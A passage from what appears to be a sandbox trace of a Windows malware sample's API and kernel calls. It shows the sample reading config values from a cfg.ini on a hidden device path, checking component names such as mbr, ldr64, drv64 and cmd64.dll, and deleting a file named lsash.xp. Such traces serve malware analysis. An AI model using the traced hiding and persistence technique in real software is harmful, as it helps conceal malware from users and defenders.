PriorityBoost=0) [0125.793] ReleaseMutex (hMutex=0xf0) returned 1 [0125.793] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.794] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.794] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.794] KeEnterCriticalRegion () [0125.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.794] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.794] IdePortDispatch () returned 0x103 [0125.794] KeWaitForMutexObject () returned 0x0 [0125.794] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.794] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.794] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.794] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.794] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.794] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003619fb0 [0125.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.794] KeLeaveCriticalRegion () [0125.794] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.794] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.794] KeEnterCriticalRegion () [0125.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.794] KeLeaveCriticalRegion () [0125.794] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.794] KeEnterCriticalRegion () [0125.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.794] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.794] IdePortDispatch () returned 0x103 [0125.794] KeWaitForMutexObject () returned 0x0 [0125.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.795] KeLeaveCriticalRegion () [0125.795] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.795] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.795] KeEnterCriticalRegion () [0125.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.795] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ceb000 [0125.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.795] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.795] IdePortDispatch () returned 0x103 [0125.795] KeWaitForMutexObject () returned 0x0 [0125.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.795] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.795] IdePortDispatch () returned 0x103 [0125.795] KeWaitForMutexObject () returned 0x0 [0125.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.795] KeLeaveCriticalRegion () [0125.795] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.796] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.796] KeEnterCriticalRegion () [0125.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.796] KeLeaveCriticalRegion () [0125.796] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.796] KeEnterCriticalRegion () [0125.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.796] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.796] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.796] KeLeaveCriticalRegion () [0125.796] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.796] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.796] KeEnterCriticalRegion () [0125.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.796] ExFreePoolWithTag (P=0xfffffa8003619fb0, Tag=0x0) [0125.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.796] KeLeaveCriticalRegion () [0125.796] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.796] ReleaseMutex (hMutex=0xf0) returned 1 [0125.796] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.796] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.796] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.796] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.796] KeEnterCriticalRegion () [0125.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.797] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.797] IdePortDispatch () returned 0x103 [0125.797] KeWaitForMutexObject () returned 0x0 [0125.797] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.797] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.797] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.797] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.797] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.797] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.797] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.797] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.797] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.797] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.797] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.797] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.797] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.797] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.797] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.797] KeLeaveCriticalRegion () [0125.797] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.797] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.797] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.797] KeEnterCriticalRegion () [0125.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.797] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.797] IdePortDispatch () returned 0x103 [0125.797] KeWaitForMutexObject () returned 0x0 [0125.798] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.798] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.798] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.798] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.798] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.798] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.798] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.798] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.798] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.798] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.798] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.798] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.798] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.798] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.798] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.798] KeLeaveCriticalRegion () [0125.798] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.798] ReleaseMutex (hMutex=0x100) returned 1 [0125.798] Sleep (dwMilliseconds=0x2bf20) [0125.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e2d67d0, dwHighDateTime=0x1d24fa4)) [0125.804] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.804] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.804] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.804] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.804] KeEnterCriticalRegion () [0125.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.804] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.804] IdePortDispatch () returned 0x103 [0125.804] KeWaitForMutexObject () returned 0x0 [0125.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.805] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.805] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.805] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.805] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.805] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003619f60 [0125.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.805] KeLeaveCriticalRegion () [0125.805] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.805] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.805] KeEnterCriticalRegion () [0125.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.805] KeLeaveCriticalRegion () [0125.805] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.805] KeEnterCriticalRegion () [0125.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.805] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.805] IdePortDispatch () returned 0x103 [0125.805] KeWaitForMutexObject () returned 0x0 [0125.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.805] KeLeaveCriticalRegion () [0125.805] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.805] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.806] KeEnterCriticalRegion () [0125.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cee000 [0125.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.806] IdePortDispatch () returned 0x103 [0125.806] KeWaitForMutexObject () returned 0x0 [0125.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.806] IdePortDispatch () returned 0x103 [0125.806] KeWaitForMutexObject () returned 0x0 [0125.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.806] KeLeaveCriticalRegion () [0125.806] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.807] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.807] KeEnterCriticalRegion () [0125.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.807] KeLeaveCriticalRegion () [0125.807] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.807] KeEnterCriticalRegion () [0125.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.807] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.807] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.807] KeLeaveCriticalRegion () [0125.807] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.807] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.807] KeEnterCriticalRegion () [0125.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.807] ExFreePoolWithTag (P=0xfffffa8003619f60, Tag=0x0) [0125.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.807] KeLeaveCriticalRegion () [0125.807] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.807] ReleaseMutex (hMutex=0xf0) returned 1 [0125.807] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.807] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.807] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.807] KeEnterCriticalRegion () [0125.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.807] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.807] IdePortDispatch () returned 0x103 [0125.807] KeWaitForMutexObject () returned 0x0 [0125.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.808] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.808] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.808] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.808] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.808] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0125.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.808] KeLeaveCriticalRegion () [0125.808] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.808] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.808] KeEnterCriticalRegion () [0125.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.808] KeLeaveCriticalRegion () [0125.808] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.808] KeEnterCriticalRegion () [0125.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.808] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.808] IdePortDispatch () returned 0x103 [0125.808] KeWaitForMutexObject () returned 0x0 [0125.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.808] KeLeaveCriticalRegion () [0125.808] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.808] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.809] KeEnterCriticalRegion () [0125.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cef000 [0125.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, 